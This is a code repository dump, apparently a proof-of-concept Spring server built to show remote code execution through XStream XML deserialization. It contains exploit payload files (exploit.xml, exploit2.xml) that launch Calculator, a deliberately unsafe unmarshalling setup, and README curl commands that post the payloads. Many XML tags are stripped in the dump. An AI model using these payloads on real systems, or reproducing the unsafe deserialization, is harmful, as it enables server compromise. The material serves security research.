├── .idea ├── .name ├── artifacts │ ├── SpringServer_war.xml │ └── SpringServer_war_exploded.xml ├── compiler.xml ├── copyright │ └── profiles_settings.xml ├── encodings.xml ├── libraries │ ├── Maven__antlr_antlr_2_7_6.xml │ ├── Maven__aopalliance_aopalliance_1_0.xml │ ├── Maven__asm_asm_3_1.xml │ ├── Maven__cglib_cglib_2_2.xml │ ├── Maven__com_thoughtworks_xstream_xstream_1_4_6.xml │ ├── Maven__commons_collections_commons_collections_3_1.xml │ ├── Maven__commons_logging_commons_logging_1_1_1.xml │ ├── Maven__dom4j_dom4j_1_6_1.xml │ ├── Maven__javassist_javassist_3_12_0_GA.xml │ ├── Maven__javax_servlet_jsp_jsp_api_2_1.xml │ ├── Maven__javax_servlet_servlet_api_2_5.xml │ ├── Maven__javax_transaction_jta_1_1.xml │ ├── Maven__jstl_jstl_1_2.xml │ ├── Maven__junit_junit_4_8_2.xml │ ├── Maven__org_aspectj_aspectjrt_1_6_12.xml │ ├── Maven__org_hibernate_hibernate_commons_annotations_3_2_0_Final.xml │ ├── Maven__org_hibernate_hibernate_core_3_6_10_Final.xml │ ├── Maven__org_hibernate_hibernate_entitymanager_3_6_10_Final.xml │ ├── Maven__org_hibernate_javax_persistence_hibernate_jpa_2_0_api_1_0_0_Final.xml │ ├── Maven__org_hsqldb_hsqldb_2_2_9.xml │ ├── Maven__org_json_json_20080701.xml │ ├── Maven__org_slf4j_jcl_over_slf4j_1_6_1.xml │ ├── Maven__org_slf4j_slf4j_api_1_6_1.xml │ ├── Maven__org_springframework_data_spring_data_commons_core_1_4_0_RELEASE.xml │ ├── Maven__org_springframework_data_spring_data_jpa_1_2_0_RELEASE.xml │ ├── Maven__org_springframework_spring_aop_3_2_0_RELEASE.xml │ ├── Maven__org_springframework_spring_beans_3_2_0_RELEASE.xml │ ├── Maven__org_springframework_spring_context_3_2_0_RELEASE.xml │ ├── Maven__org_springframework_spring_core_3_2_0_RELEASE.xml │ ├── Maven__org_springframework_spring_expression_3_2_0_RELEASE.xml │ ├── Maven__org_springframework_spring_jdbc_3_1_2_RELEASE.xml │ ├── Maven__org_springframework_spring_orm_3_1_2_RELEASE.xml │ ├── Maven__org_springframework_spring_oxm_4_0_0_BUILD_SNAPSHOT.xml │ ├── Maven__org_springframework_spring_test_3_2_0_RELEASE.xml │ ├── Maven__org_springframework_spring_tx_3_1_2_RELEASE.xml │ ├── Maven__org_springframework_spring_web_3_2_0_RELEASE.xml │ ├── Maven__org_springframework_spring_webmvc_3_2_0_RELEASE.xml │ ├── Maven__xmlpull_xmlpull_1_1_3_1.xml │ └── Maven__xpp3_xpp3_min_1_1_4c.xml ├── misc.xml ├── modules.xml ├── scopes │ └── scope_settings.xml ├── vcs.xml └── workspace.xml ├── README.md ├── SpringServer.iml ├── contact.xml ├── exploit.xml ├── exploit2.xml ├── lib └── .DS_Store ├── pom.xml ├── src └── main │ ├── java │ └── org │ │ └── pwntester │ │ └── springserver │ │ ├── Contact.java │ │ ├── ContactController.java │ │ ├── ContactConverter.java │ │ ├── ContactImpl.java │ │ └── ContactRepository.java │ ├── resources │ └── META-INF │ │ └── persistence.xml │ └── webapp │ └── WEB-INF │ ├── mvc-dispatcher-servlet.xml │ └── web.xml └── target ├── classes ├── META-INF │ └── persistence.xml └── org │ └── pwntester │ └── springserver │ ├── CatchAllConverter.class │ ├── Contact.class │ ├── ContactController.class │ ├── ContactConverter.class │ ├── ContactImpl.class │ ├── ContactRepository.class │ └── MyConverterLookup.class ├── sca-translate-java.txt ├── sca-translate-war.txt └── sca-translate.log /.idea/.name: -------------------------------------------------------------------------------- 1 | SpringServer -------------------------------------------------------------------------------- /.idea/artifacts/SpringServer_war.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | $PROJECT_DIR$/target 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/artifacts/SpringServer_war_exploded.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | $PROJECT_DIR$/target/SpringServer 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | -------------------------------------------------------------------------------- /.idea/compiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /.idea/copyright/profiles_settings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /.idea/encodings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__antlr_antlr_2_7_6.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__aopalliance_aopalliance_1_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__asm_asm_3_1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__cglib_cglib_2_2.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__com_thoughtworks_xstream_xstream_1_4_6.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__commons_collections_commons_collections_3_1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__commons_logging_commons_logging_1_1_1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__dom4j_dom4j_1_6_1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__javassist_javassist_3_12_0_GA.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__javax_servlet_jsp_jsp_api_2_1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__javax_servlet_servlet_api_2_5.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__javax_transaction_jta_1_1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__jstl_jstl_1_2.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__junit_junit_4_8_2.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_aspectj_aspectjrt_1_6_12.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_hibernate_hibernate_commons_annotations_3_2_0_Final.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_hibernate_hibernate_core_3_6_10_Final.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_hibernate_hibernate_entitymanager_3_6_10_Final.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_hibernate_javax_persistence_hibernate_jpa_2_0_api_1_0_0_Final.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_hsqldb_hsqldb_2_2_9.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_json_json_20080701.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_slf4j_jcl_over_slf4j_1_6_1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_slf4j_slf4j_api_1_6_1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_springframework_data_spring_data_commons_core_1_4_0_RELEASE.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_springframework_data_spring_data_jpa_1_2_0_RELEASE.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_springframework_spring_aop_3_2_0_RELEASE.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_springframework_spring_beans_3_2_0_RELEASE.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_springframework_spring_context_3_2_0_RELEASE.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_springframework_spring_core_3_2_0_RELEASE.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_springframework_spring_expression_3_2_0_RELEASE.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_springframework_spring_jdbc_3_1_2_RELEASE.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_springframework_spring_orm_3_1_2_RELEASE.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_springframework_spring_oxm_4_0_0_BUILD_SNAPSHOT.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_springframework_spring_test_3_2_0_RELEASE.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_springframework_spring_tx_3_1_2_RELEASE.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_springframework_spring_web_3_2_0_RELEASE.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_springframework_spring_webmvc_3_2_0_RELEASE.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__xmlpull_xmlpull_1_1_3_1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__xpp3_xpp3_min_1_1_4c.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 16 | 17 | 18 | 19 | 20 | 21 | 37 | 38 | 39 | 40 | 41 | 1.7 42 | 43 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /.idea/scopes/scope_settings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/workspace.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 24 | 25 | 26 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 50 | 51 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 179 | 180 | 192 | 193 | 194 | 199 | 200 | 201 | 202 | 203 | 204 | 207 | 208 | 211 | 212 | 213 | 214 | 217 | 218 | 221 | 222 | 225 | 226 | 227 | 228 | 231 | 232 | 235 | 236 | 239 | 240 | 243 | 244 | 245 | 246 | 247 | 251 | 252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 | 277 | 278 | 279 | 280 | 281 | 282 | 283 | 286 | 287 | 288 | 289 | 292 | 293 | 296 | 297 | 298 | 299 | 302 | 303 | 306 | 307 | 310 | 311 | 314 | 315 | 318 | 319 | 322 | 323 | 324 | 325 | 328 | 329 | 332 | 333 | 336 | 337 | 340 | 341 | 344 | 345 | 348 | 349 | 350 | 351 | 354 | 355 | 358 | 359 | 362 | 363 | 366 | 367 | 370 | 371 | 372 | 373 | 374 | 375 | 376 | 377 | 378 | 379 | 380 | 381 | 382 | 383 | 384 | 385 | 386 | 387 | 388 | 389 | 390 | 391 | 392 | 393 | 394 | 413 | 414 | 415 | 416 | 417 | 418 | 419 | 420 | 424 | 425 | 426 | 427 | 428 | 429 | 430 | 431 | 432 | 433 | 434 | 435 | 436 | 453 | 454 | 455 | 456 | 457 | 464 | 465 | 466 | 467 | 468 | 469 | 480 | 481 | 482 | 483 | 501 | 508 | 509 | 510 | 511 | 525 | 526 | 527 | 528 | 529 | 530 | 551 | 564 | 565 | 566 | 584 | 585 | 594 | 598 | 599 | 600 | 617 | 618 | 619 | 632 | 633 | 634 | 651 | 652 | 653 | 654 | 655 | 656 | 657 | 658 | 659 | 660 | localhost 661 | 5050 662 | 663 | 664 | 665 | 666 | 667 | 668 | 1387875631179 669 | 1387875631179 670 | 671 | 672 | 673 | 674 | 675 | 677 | 678 | 679 | 680 | 681 | 682 | 683 | 684 | 685 | 686 | 687 | 688 | 689 | 690 | 691 | 692 | 693 | 694 | 695 | 696 | 697 | 698 | 699 | 700 | 701 | 702 | 703 | 704 | 705 | 706 | 707 | 708 | 709 | 710 | 711 | 712 | 715 | 716 | 717 | 719 | 720 | 723 | 724 | 726 | 727 | 728 | 729 | 730 | 733 | 734 | 735 | 736 | 737 | 738 | 739 | 740 | 741 | 742 | 743 | 744 | 745 | 746 | 747 | 748 | 749 | 750 | 751 | 752 | 753 | 754 | 755 | 756 | 757 | 758 | 759 | 760 | 761 | 762 | 763 | 764 | 765 | 766 | 767 | 768 | 769 | 770 | 771 | 772 | 773 | 774 | 775 | 776 | 777 | 778 | 779 | 780 | 781 | 782 | 783 | 784 | 785 | 786 | 787 | 788 | 789 | 790 | 791 | 792 | 793 | 794 | 795 | 796 | 797 | 798 | 799 | 800 | 801 | 802 | 803 | 804 | 805 | 806 | 807 | 808 | 809 | 810 | 811 | 812 | 813 | 814 | 815 | 816 | 817 | 818 | 819 | 820 | 821 | 822 | 823 | 824 | 825 | 826 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | XStreamServer 2 | ============= 3 | 4 | RCE Exploit PoC for Spring based RESTFul APIs using XStream as Unmarshaler 5 | 6 | Start the server using the maven jetty plugin: 7 | mvn -Djetty.port=8080 -DDebug clean jetty:run 8 | 9 | Expected use: 10 | curl --header "content-type: application/xml" --data @contact.xml "http://localhost:8080/contacts" 11 | 12 | Exploit knowing the interface: 13 | curl --header "content-type: application/xml" --data @exploit.xml "http://localhost:8080/contacts" 14 | 15 | Generic Exploit: 16 | curl --header "content-type: application/xml" --data @exploit2.xml "http://localhost:8080/contacts 17 | -------------------------------------------------------------------------------- /SpringServer.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | -------------------------------------------------------------------------------- /contact.xml: -------------------------------------------------------------------------------- 1 | 2 | 1 3 | alvaro 4 | test 5 | c1@springserver.com 6 | 7 | -------------------------------------------------------------------------------- /exploit.xml: -------------------------------------------------------------------------------- 1 | 2 | org.pwntester.springserver.Contact 3 | 4 | 5 | 6 | /Applications/Calculator.app/Contents/MacOS/Calculator 7 | 8 | 9 | start 10 | 11 | 12 | -------------------------------------------------------------------------------- /exploit2.xml: -------------------------------------------------------------------------------- 1 | 2 | foo 3 | 4 | java.lang.Comparable 5 | 6 | 7 | 8 | /Applications/Calculator.app/Contents/MacOS/Calculator 9 | 10 | 11 | start 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /lib/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwntester/XStreamServer/a76c30b0fc5f6daa04206f225d1f82e5757aa428/lib/.DS_Store -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | com.springapp 5 | SpringServer 6 | war 7 | 1.0-SNAPSHOT 8 | SpringServer 9 | 10 | 11 | 3.2.0.RELEASE 12 | 1.2.0.RELEASE 13 | 14 | 15 | 16 | 17 | com.springsource.repository.maven.snapshot 18 | http://maven.springframework.org/snapshot/ 19 | 20 | true 21 | 22 | 23 | 24 | 25 | 26 | 27 | org.springframework 28 | spring-core 29 | ${spring.version} 30 | 31 | 32 | 33 | org.springframework 34 | spring-web 35 | ${spring.version} 36 | 37 | 38 | 39 | javax.servlet 40 | servlet-api 41 | 2.5 42 | 43 | 44 | 45 | javax.servlet.jsp 46 | jsp-api 47 | 2.1 48 | provided 49 | 50 | 51 | 52 | org.springframework 53 | spring-webmvc 54 | ${spring.version} 55 | 56 | 57 | 58 | org.springframework 59 | spring-test 60 | ${spring.version} 61 | test 62 | 63 | 64 | 65 | junit 66 | junit 67 | 4.8.2 68 | test 69 | 70 | 71 | 72 | jstl 73 | jstl 74 | 1.2 75 | 76 | 77 | 78 | org.springframework.data 79 | spring-data-jpa 80 | ${spring-data.version} 81 | 82 | 83 | 84 | org.hibernate.javax.persistence 85 | hibernate-jpa-2.0-api 86 | 1.0.0.Final 87 | 88 | 89 | 90 | org.hibernate 91 | hibernate-entitymanager 92 | 3.6.10.Final 93 | 94 | 95 | 96 | org.hsqldb 97 | hsqldb 98 | 2.2.9 99 | 100 | 101 | 102 | org.json 103 | json 104 | 20080701 105 | 106 | 107 | 108 | org.springframework 109 | spring-oxm 110 | 4.0.0.BUILD-SNAPSHOT 111 | 112 | 113 | 114 | com.thoughtworks.xstream 115 | xstream 116 | 1.4.6 117 | 118 | 119 | 120 | 121 | 122 | 123 | SpringServer 124 | 125 | 126 | org.eclipse.jetty 127 | jetty-maven-plugin 128 | 129 | 130 | maven-compiler-plugin 131 | 132 | 1.7 133 | 1.7 134 | 135 | 136 | 137 | maven-surefire-plugin 138 | 139 | 140 | **/*Tests.java 141 | 142 | 143 | 144 | 145 | 146 | -------------------------------------------------------------------------------- /src/main/java/org/pwntester/springserver/Contact.java: -------------------------------------------------------------------------------- 1 | package org.pwntester.springserver; 2 | 3 | /** 4 | * Created with IntelliJ IDEA. 5 | * User: alvms 6 | * Date: 4/7/13 7 | * Time: 8:03 PM 8 | * To change this template use File | Settings | File Templates. 9 | */ 10 | 11 | public interface Contact { 12 | 13 | public Long getId(); 14 | public void setId(Long id); 15 | public String getFirstName(); 16 | public void setFirstName(String name); 17 | public String getLastName(); 18 | public void setLastName(String lastName); 19 | public String getEmail(); 20 | public void setEmail(String email); 21 | } 22 | -------------------------------------------------------------------------------- /src/main/java/org/pwntester/springserver/ContactController.java: -------------------------------------------------------------------------------- 1 | package org.pwntester.springserver; 2 | 3 | import org.springframework.beans.factory.annotation.Autowired; 4 | import org.springframework.stereotype.Controller; 5 | import org.springframework.http.HttpStatus; 6 | import org.springframework.web.bind.annotation.*; 7 | 8 | @Controller 9 | @RequestMapping("/contacts") 10 | public class ContactController { 11 | 12 | @Autowired 13 | private ContactRepository contactRepository; 14 | 15 | @RequestMapping( value = "/{id}", method = RequestMethod.GET ) 16 | @ResponseStatus(HttpStatus.OK) 17 | @ResponseBody 18 | public final Contact get( @PathVariable( "id" ) final Long contactId ){ 19 | System.out.println("get"); 20 | return contactRepository.findOne(contactId); 21 | } 22 | 23 | @RequestMapping( method = RequestMethod.POST ) 24 | @ResponseStatus( HttpStatus.CREATED ) 25 | @ResponseBody 26 | public final String create( @RequestBody final Contact contact ){ 27 | System.out.println("Contact name: " + contact.getFirstName()); 28 | contactRepository.save((ContactImpl) contact); 29 | return "OK"; 30 | } 31 | 32 | 33 | } -------------------------------------------------------------------------------- /src/main/java/org/pwntester/springserver/ContactConverter.java: -------------------------------------------------------------------------------- 1 | package org.pwntester.springserver; 2 | 3 | /** 4 | * Created by alvaro on 24/12/13. 5 | */ 6 | import com.thoughtworks.xstream.converters.Converter; 7 | import com.thoughtworks.xstream.converters.MarshallingContext; 8 | import com.thoughtworks.xstream.converters.UnmarshallingContext; 9 | import com.thoughtworks.xstream.io.HierarchicalStreamReader; 10 | import com.thoughtworks.xstream.io.HierarchicalStreamWriter; 11 | 12 | public class ContactConverter implements Converter { 13 | 14 | public boolean canConvert(Class clazz) { 15 | return clazz.equals(ContactImpl.class); 16 | } 17 | 18 | public void marshal(Object value, HierarchicalStreamWriter writer, MarshallingContext context) { 19 | Contact contact = (Contact) value; 20 | writer.startNode("name"); 21 | writer.setValue(contact.getFirstName()); 22 | writer.endNode(); 23 | } 24 | 25 | public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) { 26 | Contact contact = new ContactImpl(); 27 | reader.moveDown(); 28 | contact.setFirstName(reader.getValue()); 29 | reader.moveUp(); 30 | return contact; 31 | } 32 | 33 | } 34 | -------------------------------------------------------------------------------- /src/main/java/org/pwntester/springserver/ContactImpl.java: -------------------------------------------------------------------------------- 1 | package org.pwntester.springserver; 2 | 3 | import javax.persistence.*; 4 | 5 | 6 | /** 7 | * Created with IntelliJ IDEA. 8 | * User: alvms 9 | * Date: 4/7/13 10 | * Time: 8:04 PM 11 | * To change this template use File | Settings | File Templates. 12 | */ 13 | 14 | 15 | @Entity(name = "contact") 16 | public class ContactImpl implements Contact { 17 | @Id 18 | @GeneratedValue(strategy = GenerationType.AUTO) 19 | private Long id; 20 | 21 | @Basic 22 | private String firstName; 23 | 24 | @Basic 25 | private String lastName; 26 | 27 | @Basic 28 | private String email; 29 | 30 | public Long getId() { 31 | return id; 32 | } 33 | 34 | public void setId(Long id) { 35 | this.id = id; 36 | } 37 | 38 | public String getFirstName() { 39 | return firstName; 40 | } 41 | 42 | public void setFirstName(String name) { 43 | this.firstName = name; 44 | } 45 | 46 | public String getLastName() { 47 | return lastName; 48 | } 49 | 50 | public void setLastName(String lastName) { 51 | this.lastName = lastName; 52 | } 53 | 54 | public String getEmail() { 55 | return email; 56 | } 57 | 58 | public void setEmail(String email) { 59 | this.email = email; 60 | } 61 | } -------------------------------------------------------------------------------- /src/main/java/org/pwntester/springserver/ContactRepository.java: -------------------------------------------------------------------------------- 1 | package org.pwntester.springserver; 2 | 3 | import org.springframework.data.jpa.repository.JpaRepository; 4 | 5 | /** 6 | * Created with IntelliJ IDEA. 7 | * User: alvms 8 | * Date: 4/7/13 9 | * Time: 8:06 PM 10 | * To change this template use File | Settings | File Templates. 11 | */ 12 | public interface ContactRepository extends JpaRepository { 13 | 14 | 15 | } 16 | -------------------------------------------------------------------------------- /src/main/resources/META-INF/persistence.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | org.hibernate.ejb.HibernatePersistence 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /src/main/webapp/WEB-INF/mvc-dispatcher-servlet.xml: -------------------------------------------------------------------------------- 1 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | org.pwntester.springserver.ContactImpl 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | -------------------------------------------------------------------------------- /src/main/webapp/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 5 | 6 | Spring MVC Application 7 | 8 | 9 | mvc-dispatcher 10 | org.springframework.web.servlet.DispatcherServlet 11 | 1 12 | 13 | 14 | 15 | mvc-dispatcher 16 | / 17 | 18 | -------------------------------------------------------------------------------- /target/classes/META-INF/persistence.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | org.hibernate.ejb.HibernatePersistence 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /target/classes/org/pwntester/springserver/CatchAllConverter.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwntester/XStreamServer/a76c30b0fc5f6daa04206f225d1f82e5757aa428/target/classes/org/pwntester/springserver/CatchAllConverter.class -------------------------------------------------------------------------------- /target/classes/org/pwntester/springserver/Contact.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwntester/XStreamServer/a76c30b0fc5f6daa04206f225d1f82e5757aa428/target/classes/org/pwntester/springserver/Contact.class -------------------------------------------------------------------------------- /target/classes/org/pwntester/springserver/ContactController.class: -------------------------------------------------------------------------------- 